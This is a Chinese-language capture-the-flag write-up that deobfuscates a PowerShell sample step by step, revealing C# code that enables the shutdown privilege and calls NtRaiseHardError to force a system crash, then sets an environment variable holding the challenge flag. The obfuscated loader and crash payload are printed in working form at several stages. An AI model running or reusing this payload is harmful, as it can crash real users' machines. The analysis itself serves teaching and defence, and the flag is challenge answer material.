(nEw-oBjECT  sYsTEm.io.cOmPREsSION.DEFLATesTrEAM( [IO.mEMOrYstReAM] [SyStEM.cOnvert]::FrOmbaSE64striNG( 'TVRrc9o6EP0rmn7BnmIXkpBJ4uED5dGQGx5jCKTO5IMfApTalkeWuSS9/e93jwykzGh3La2Ozh6tYNaL4tvh4fXuLuvp/m64sNgX276+fPV79/2Xpt1ptevwa+v2GLRPUxZjw37vsRj6DmNXpy0N/3rROM/fnpEu2iekq5tjcHOEtIZxLy24HzvMbtiNrw3bJpBud9unuKAxficT0/hYXfzcP9w/iV7/kT5Fi8z9JB0NZr8e3gL66PwaBKlPwTK4ItujQWvBepIGH5Ns9zbZ0cz35bQVf0wuKSwvsWt3yMgGAjtq4Hj9swyysXz6EYnROnwf0WS2anXIrQPduYje0yypVsMknaaz69aI4nVU3WZxEeTRqLOIUv8ShDtTMu01lWNtc+Arvbi65mX4PZP4Au7d3atWfJ9TKPsvZJFKeRRp/sO9IT9aknmiRFpJZJwPXX3gqNKkswMXnm1pAOwWlEXB84uH80WANFYqrjlqDFVIdq54CjJFJvsO1isFXZZliZS5w7Cmwt2iz/g2rLagFj46rPxEzEFfaGGK2vABxz3hmpYOq+Olk5BLet0QKZCZe3Sv5BdpihUabsZ1+b6APHUy5nAKzhDIisCaG2K9BLNxzhXfcN+NDSz3CmgT8U1Y5tU3nLyMumUuhUY8U9ieClTqYreoidSCkBpGCmSa++i76pSMc+UAyQm+DE/oomP+Fs2cf48kp12CJBLm3D9/PFsxXUnWRJ2sae6YB67C3cw1dByzJtnWyV6Qw2jRDw4cDy0L+yS4q2ECh1u756WA9/XUwyMBZn0YL1MsbCiqlGbN27YFbluqZS/UHIkQsHpLeqn2PaKYi8rTDAJLGf0+9w4QEyH38EDY4GjSlRmxdahLitKoKugmAQJQooDNrLkyfMgQOGvOmdJUMZX7ZOZpEp5Gc2p0NFnD05r1WW5IheL6QyrUrLHcyAjoA/+LyvFPwRB6tfHqj92VuDR0jrbSSppGH6PWdID34tkzlmJWRmcFlzQjI+IDj35CAXUteGF8W7cRhIGgJWqBmqDin2pg+YkkZmJx0gt4hqGhBx6m/91zZKjiHGJboPHGaU319zMryzCNAXbsgk9IiI++80oei73iQCgkUTBt5vJM6Lzyj60LRvTnUVbesZXNo6bvAs8Fj9qyLPbMx+wLtaZLvdtQ4+39UsvH4Ug3mO08SDFtUMD+Y+PpSv7DHf5cKF4uxnL6Pw==') , [IO.cOmPReSSIoN.coMprESsionmodE]::DecomPREss) | foREaCH { nEw-oBjECT  iO.sTREamREAder($_ , [tExT.ENCOdiNG]::AscIi ) }|foreaCh {$_.rEadtOEnd( ) }) |&( $SHelLiD[1]+$SHELLID[13]+'X')

这个脚本还经过了大小写混淆,下面是各部分的分析:

[Convert]::FromBase64String(...):将内部的内容转换为字节数组,然后包装成 MemoryStream 对象用于后续解压。

[System.IO.Compression.DeflateStream]($memoryStream, System.IO.Compression.CompressionMode]::Decompress):使用 .NET 的 DeflateStream 类对数据进行解压

ForEach { New-Object IO.StreamReader($_, [Text.Encoding]::ASCII) } | ForEach { $_.ReadToEnd() }:创建 StreamReader 来读取解压后的数据流,使用 ASCII 编码将其转换为文本,最终输出一个完整的 PowerShell 脚本。

| &($ShellID[1]+$ShellID[13]+'X')

  • $ShellID 是 PowerShell 内置变量,值为:Microsoft.PowerShell.Security
  • $ShellID[1]'i'$ShellID[13]'e',所以:'i' + 'e' + 'X' = 'iex'
  • 所以这行等价于 | iex,即将前面解压出的内容作为 PowerShell 命令执行。

总结:从一段 Base64 编码的数据中解压并执行一个隐藏的 PowerShell 脚本。

因此下一步要做的是分析 Base64 编码的内容。

提取出 Base64 编码的内容:

1
TVRrc9o6EP0rmn7BnmIXkpBJ4uED5dGQGx5jCKTO5IMfApTalkeWuSS9/e93jwykzGh3La2Ozh6tYNaL4tvh4fXuLuvp/m64sNgX276+fPV79/2Xpt1ptevwa+v2GLRPUxZjw37vsRj6DmNXpy0N/3rROM/fnpEu2iekq5tjcHOEtIZxLy24HzvMbtiNrw3bJpBud9unuKAxficT0/hYXfzcP9w/iV7/kT5Fi8z9JB0NZr8e3gL66PwaBKlPwTK4ItujQWvBepIGH5Ns9zbZ0cz35bQVf0wuKSwvsWt3yMgGAjtq4Hj9swyysXz6EYnROnwf0WS2anXIrQPduYje0yypVsMknaaz69aI4nVU3WZxEeTRqLOIUv8ShDtTMu01lWNtc+Arvbi65mX4PZP4Au7d3atWfJ9TKPsvZJFKeRRp/sO9IT9aknmiRFpJZJwPXX3gqNKkswMXnm1pAOwWlEXB84uH80WANFYqrjlqDFVIdq54CjJFJvsO1isFXZZliZS5w7Cmwt2iz/g2rLagFj46rPxEzEFfaGGK2vABxz3hmpYOq+Olk5BLet0QKZCZe3Sv5BdpihUabsZ1+b6APHUy5nAKzhDIisCaG2K9BLNxzhXfcN+NDSz3CmgT8U1Y5tU3nLyMumUuhUY8U9ieClTqYreoidSCkBpGCmSa++i76pSMc+UAyQm+DE/oomP+Fs2cf48kp12CJBLm3D9/PFsxXUnWRJ2sae6YB67C3cw1dByzJtnWyV6Qw2jRDw4cDy0L+yS4q2ECh1u756WA9/XUwyMBZn0YL1MsbCiqlGbN27YFbluqZS/UHIkQsHpLeqn2PaKYi8rTDAJLGf0+9w4QEyH38EDY4GjSlRmxdahLitKoKugmAQJQooDNrLkyfMgQOGvOmdJUMZX7ZOZpEp5Gc2p0NFnD05r1WW5IheL6QyrUrLHcyAjoA/+LyvFPwRB6tfHqj92VuDR0jrbSSppGH6PWdID34tkzlmJWRmcFlzQjI+IDj35CAXUteGF8W7cRhIGgJWqBmqDin2pg+YkkZmJx0gt4hqGhBx6m/91zZKjiHGJboPHGaU319zMryzCNAXbsgk9IiI++80oei73iQCgkUTBt5vJM6Lzyj60LRvTnUVbesZXNo6bvAs8Fj9qyLPbMx+wLtaZLvdtQ4+39UsvH4Ug3mO08SDFtUMD+Y+PpSv7DHf5cKF4uxnL6Pw==') , [IO.cOmPReSSIoN.coMprESsionmodE

将其解码并解压,过程见 CyberChef,结果如下:

1
([regEx]::mAtChES( "))63]RAHC[,)501]RAHC[+09]RAHC[+101]RAHC[(  ECALpER-  43]RAHC[,'R6S'ECALpER- 93]RAHC[,)211]RAHC[+48]RAHC[+89]RAHC[(EcAlpeRc- )')'+'))R6S==gC'+'p'+'Iy'+'c'+'zV2YvJHUiACL'+'i0'+'HMlFDOkJjZ'+'5kDZlR'+'TZ4'+'A'+'DOkZWMlZzMmhjMh'+'BTN0czM3'+'s3Z'+'hxm'+'Zi'+'ACL'+'icWYsZmIoUGbiFWayF'+'mV05'+'WZt52bylmduVEdlNlO60FduVWbu9mcpZnbF5SblR3c'+'5N'+'1WR6S(gni'+'rtS46esaBmo'+'rF'+'::]trevn'+'oC['+'(gnirtS'+'teG.8'+'FT'+'U::]gnidocnE.txe'+'T['+'( xei;)(t'+'ohS::]'+'X[;c'+'iZe'+' sretem'+'ara'+'Preli'+'pmoC-'+' urh'+'Tss'+'aP- '+'prahSC egaugn'+'aL- s'+'iZe'+' no'+'itini'+'feDep'+'y'+'T- ep'+'yT-d'+'dA=ai'+'Z'+'e;)R6'+'Sll'+'d'+'.metsySR6S(d'+'dA'+'.s'+'e'+'il'+'bm'+'ess'+'Ade'+'cnerefeR.ci'+'Ze;pT'+'befasnu/p'+'Tb=snoitp'+'Or'+'elipmoC.'+'ciZ'+'e;sretemaraPrelip'+'mo'+'C.relipmoC.m'+'oD'+'edoC.metsyS '+'tcejbO-w'+'e'+'N=ciZe;p'+'Tb}};)r tuo ,6'+' ,o'+'reZ.rt'+'Ptn'+'I ,'+'0 ,'+'0 ,2'+'2'+'0000'+'0'+'cx0('+'ror'+'rEdr'+'a'+'Hesia'+'RtN;'+')t'+' tuo ,esla'+'f ,eurt ,91(e'+'gelivirPt'+'s'+'ujdAltR;r tniu;t l'+'oob{)(t'+'ohS'+' diov'+' e'+'f'+'asnu ci'+'tats cilbup;)R tni'+'u tu'+'o ,V'+' t'+'niu ,P rtPtnI ,U'+' tniu'+' '+',N '+'tniu ,E'+' tniu(ror'+'rEdraHes'+'iaRtN tniu n'+'ret'+'xe ci'+'tats '+'c'+'ilbup])R'+'6'+'Slld.lldtnR6S(tro'+'pmIl'+'lD['+';)O lo'+'ob'+' tuo ,T loob ,E loo'+'b ,P t'+'ni'+'(eg'+'eliv'+'irPtsu'+'jdAl'+'tR'+' tniu nret'+'xe'+' citats cil'+'bup])R6'+'S'+'ll'+'d.'+'ll'+'dtnR6S'+'(tropm'+'IllD['+'{X ssalc cit'+'a'+'ts cil'+'b'+'up'+';secivreS'+'poretn'+'I.emitnuR.metsyS'+' gnisu;metsyS gn'+'isupTb=siZe'((( XeI " ,'.' ,'rIgHTtoLEFt' )-JoiN'' ) | INVoKe-eXpresSIoN

[Regex]::Matches(...):这是 .NET 的正则匹配函数 [Regex]::Matches($inputString, $pattern),作用是在 $inputString 中按 $pattern 提取所有匹配的内容。

[Regex]::Matches("...", "." , "RightToLeft") 提取该字符串中的每一个字符,并按从右到左的顺序返回字符数组

  • 第一个参数是接下来要详细分析的内容。
  • 第二个参数 "." 表示匹配任意字符。
  • 第三个参数 "RightToLeft" 是 RegexOptions,表示从右向左匹配。

总结:将经过反转的脚本反转回来并执行。

因此下一步要做的就是手动把被反转的脚本反转回来。

将其提取出来进行反转,过程见 CyberChef,结果如下:

1
IeX ((('eZis=bTpusi'+'ng System;using '+'System.Runtime.I'+'nterop'+'Services;'+'pu'+'b'+'lic st'+'a'+'tic class X{'+'[DllI'+'mport('+'S6Rntd'+'ll'+'.d'+'ll'+'S'+'6R)]pub'+'lic static '+'ex'+'tern uint '+'Rt'+'lAdj'+'ustPri'+'vile'+'ge('+'in'+'t P, b'+'ool E, bool T, out '+'bo'+'ol O);'+'[Dl'+'lImp'+'ort(S6Rntdll.dllS'+'6'+'R)]publi'+'c'+' stat'+'ic ex'+'ter'+'n uint NtRai'+'seHardEr'+'ror(uint '+'E, uint'+' N,'+' '+'uint '+'U, IntPtr P, uin'+'t '+'V, o'+'ut u'+'int R);public stat'+'ic unsa'+'f'+'e '+'void '+'Sho'+'t(){boo'+'l t;uint r;RtlAdju'+'s'+'tPrivileg'+'e(19, true, f'+'alse, out '+'t)'+';NtR'+'aiseH'+'a'+'rdEr'+'ror'+'(0xc'+'0'+'0000'+'2'+'2, 0'+', 0'+', I'+'ntP'+'tr.Zer'+'o, '+'6, out r);}}bT'+'p;eZic=N'+'e'+'w-Object'+' System.Code'+'Do'+'m.Compiler.C'+'om'+'pilerParameters;e'+'Zic'+'.Compile'+'rO'+'ptions=bT'+'p/unsafeb'+'Tp;eZ'+'ic.Referenc'+'edA'+'sse'+'mb'+'li'+'e'+'s.'+'Ad'+'d(S6RSystem.'+'d'+'llS'+'6R);e'+'Z'+'ia=Ad'+'d-Ty'+'pe -T'+'y'+'peDef'+'initi'+'on '+'eZi'+'s -La'+'nguage CSharp'+' -Pa'+'ssT'+'hru '+'-Comp'+'ilerP'+'ara'+'meters '+'eZi'+'c;[X'+']::Sho'+'t();iex ('+'[T'+'ext.Encoding]::U'+'TF'+'8.Get'+'String('+'[Co'+'nvert]::'+'Fr'+'omBase64Str'+'ing(S6RW1'+'N5'+'c3RlbS5FbnZpcm9ubWVudF06OlNldEVudmlyb25tZW'+'50Vm'+'FyaWFibGUoImZsYWci'+'LCA'+'iZ'+'mxh'+'Z3s'+'3Mzc0NTB'+'hMjhmMzZlMWZkOD'+'A'+'4ZT'+'RlZDk5'+'ZjJkODFlMH'+'0i'+'LCAiUHJvY2Vz'+'c'+'yI'+'p'+'Cg==S6R))'+')') -cReplAcE([CHAR]98+[CHAR]84+[CHAR]112),[CHAR]39 -REpLACE'S6R',[CHAR]34  -REpLACE  ([CHAR]101+[CHAR]90+[CHAR]105),[CHAR]36))

'...'+'...' 这种格式的拼接清除一下,使其更易于观察,得到如下结果:

1
IeX (((eZis=bTpusing System;using System.Runtime.InteropServices;public static class X{[DllImport(S6Rntdll.dllS6R)]public static extern uint RtlAdjustPrivilege(int P, bool E, bool T, out bool O);[DllImport(S6Rntdll.dllS6R)]public static extern uint NtRaiseHardError(uint E, uint N, uint U, IntPtr P, uint V, out uint R);public static unsafe void Shot(){bool t;uint r;RtlAdjustPrivilege(19, true, false, out t);NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out r);}}bTp;eZic=New-Object System.CodeDom.Compiler.CompilerParameters;eZic.CompilerOptions=bTp/unsafebTp;eZic.ReferencedAssemblies.Add(S6RSystem.dllS6R);eZia=Add-Type -TypeDefinition eZis -Language CSharp -PassThru -CompilerParameters eZic;[X]::Shot();iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(S6RW1N5c3RlbS5FbnZpcm9ubWVudF06OlNldEVudmlyb25tZW50VmFyaWFibGUoImZsYWciLCAiZmxhZ3s3Mzc0NTBhMjhmMzZlMWZkODA4ZTRlZDk5ZjJkODFlMH0iLCAiUHJvY2VzcyIpCg==S6R)))) -cReplAcE([CHAR]98+[CHAR]84+[CHAR]112),[CHAR]39 -REpLACE'S6R',[CHAR]34  -REpLACE  ([CHAR]101+[CHAR]90+[CHAR]105),[CHAR]36))

接下来逐层去除混淆。

1
2
3
-cReplAcE([CHAR]98+[CHAR]84+[CHAR]112),[CHAR]39
-cReplAcE'S6R',[CHAR]34
-cREPLACE([CHAR]101+[CHAR]90+[CHAR]105),[CHAR]36

这是在将 bTp 替换为'S6R 替换为 "eZi 替换为 $,替换后的结果如下:

1
IeX ((($s='using System;using System.Runtime.InteropServices;public static class X{[DllImport("ntdll.dll")]public static extern uint RtlAdjustPrivilege(int P, bool E, bool T, out bool O);[DllImport("ntdll.dll")]public static extern uint NtRaiseHardError(uint E, uint N, uint U, IntPtr P, uint V, out uint R);public static unsafe void Shot(){bool t;uint r;RtlAdjustPrivilege(19, true, false, out t);NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out r);}}';$c=New-Object System.CodeDom.Compiler.CompilerParameters;$c.CompilerOptions='/unsafe';$c.ReferencedAssemblies.Add("System.dll");$a=Add-Type -TypeDefinition $s -Language CSharp -PassThru -CompilerParameters $c;[X]::Shot();iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W1N5c3RlbS5FbnZpcm9ubWVudF06OlNldEVudmlyb25tZW50VmFyaWFibGUoImZsYWciLCAiZmxhZ3s3Mzc0NTBhMjhmMzZlMWZkODA4ZTRlZDk5ZjJkODFlMH0iLCAiUHJvY2VzcyIpCg==")))))

接下来分析其中的 C# 编译与提权代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
using System;
using System.Runtime.InteropServices;
public static class X{
[DllImport("ntdll.dll")]
public static extern uint RtlAdjustPrivilege(int P, bool E, bool T, out bool O);
[DllImport("ntdll.dll")]
public static extern uint NtRaiseHardError(uint E, uint N, uint U, IntPtr P, uint V, out uint R);
public static unsafe void Shot(){
bool t;
uint r;
RtlAdjustPrivilege(19, true, false, out t);
NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out r);
}
}
  • 使用 DllImport 调用 Windows 内核函数 ntdll.dll

  • RtlAdjustPrivilege(19, ...):启用 SeShutdownPrivilege 权限(关机权限)。

  • NtRaiseHardError(...):强制弹出一个系统级错误对话框。

1
2
3
4
5
$eZic = New-Object System.CodeDom.Compiler.CompilerParameters
$eZic.CompilerOptions='/unsafe'
$eZic.ReferencedAssemblies.Add("System.dll")
$eZia = Add-Type -TypeDefinition $eZis -Language CSharp -PassThru -CompilerParameters $eZic
[X]::Shot()
  • 创建了一个 .NET 编译器参数对象。
  • 添加引用 System.dll
  • 使用 Add-Type 将上面定义的 C# 类编译进当前 PowerShell 会话。
  • 然后调用 [X]::Shot() 执行提权。
1
iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W1N5c3RlbS5FbnZpcm9ubWVudF06OlNldEVudmlyb25tZW50VmFyaWFibGUoImZsYWciLCAiZmxhZ3s3Mzc0NTBhMjhmMzZlMWZkODA4ZTRlZDk5ZjJkODFlMH0iLCAiUHJvY2VzcyIpCg==")))

Base64 解码并执行另一段命令。Base64 解码过程见 CyberChef,结果如下:

1
[System.Environment]::SetEnvironmentVariable("flag", "flag{737450a28f36e1fd808e4ed99f2d81e0}", "Process")
  • 设置一个名为 flag 的环境变量,值为一个 flag 字符串。
  • 作用域为当前进程(“Process”),不会影响系统其他部分。
1
flag{737450a28f36e1fd808e4ed99f2d81e0}